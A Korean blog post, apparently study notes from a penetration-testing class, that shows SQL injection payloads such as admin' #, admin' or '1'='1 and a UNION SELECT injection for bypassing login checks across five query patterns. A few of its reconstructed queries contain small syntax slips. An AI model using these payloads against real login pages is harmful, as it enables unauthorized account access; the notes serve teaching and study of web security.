klaus

[Week-2]로그인 인증/식별 case별 SQLi 인증 우회 본문

수업/모의해킹

[Week-2]로그인 인증/식별 case별 SQLi 인증 우회

klus! 2022. 10. 25. 22:14

지난 시간에는 웹페이지에서 로그인 인증 및 식별하는 case별로 SQL문을 확인해보았습니다.

이번에는 그 케이스 별로 sql injection 인증 우회하는 방법을 간단하게 알아보겠습니다.

 

https://toriyong.tistory.com/9

 

[Week-2] 로그인 인증/식별

0. 서론 이번주부터는 수업시간에 배운 내용을 살짝 정리하고 해당 내용을 복습할 때 한번 읽어보려고 합니다. 중간에 갑자기 생각이 안나고 그럴 때가 많은 것 같아 정리가 필요할 것 같습니다.

toriyong.tistory.com

3. SQL쿼리를 통해 식별/인증 우회

 

1. 식별/인증을 동시에 처리하는 유형

 

SELECT * FROM [테이블명] WHERE id = '$username' AND pass = '$pass'; 해당 방법의 경우 

더보기

1)  id : admin' #    pass : 임의값

SELECT * FROM [테이블명] WHERE id = 'admin  #' AND pass = '임의값' ;

== 해당 방법은 SQL문법 중 주석(#)을 사용하여 id뒤 부분 즉 pass 구문이 주석처리가 됩니다. 이렇게 DB에 전달되면 테이블에 입력된 아이디만 있다면 로그인에 성공합니다.

2) id : admin' or '1' = '1;  pass : 임의값

SELECT * FROM [테이블명] WHERE id = 'admin ' or '1' ='1';# AND pass = '임의값' ;

 

2. 식별/인증 분리하여 처리하는 유형

 

SELECT user_name,password FROM [테이블명] WHERE id = '$username'

IF ($row ['password'] =='$pass'); 해당 방법의 경우 

더보기

id : x' union select 'admin','1234'   pass : 1234

SELECT user_name,password  FROM [테이블명] WHERE id = 'x' union select 'admin', ,'1234'

 

3. 식별/인증을 동시에 처리하는 유형 (with HASH)

 

SELECT * FROM [테이블명] WHERE id = '$username' AND pass = hash('$pass'); 해당 방법의 경우 

더보기

1번과 동일하다고 할 수 있다 #과 같은 주석처리를 사용하여 우회 가능합니다.

4. 식별/인증 분리하여 처리하는 유형 (with HASH)

더보기

2번의 SQL 구문에서 PW를 HASH값으로 변환하여 입력하면 우회 가능합니다.

5. 식별/인증 분리하여 처리하는 유형(with. 개행(\n))

더보기

해당 케이스는 특징은 개행으로 인해 주석처리로 인한 우회가 불가능하다는 점입니다.

우회를 하고 싶다면 논리 기호인 '를 사용하여  우회가 가능합니다.

id: admin' or '1'='1

pass : 1234

이렇게 우회하는 방법에 대해 간단하게 정리해보았습니다.

Comments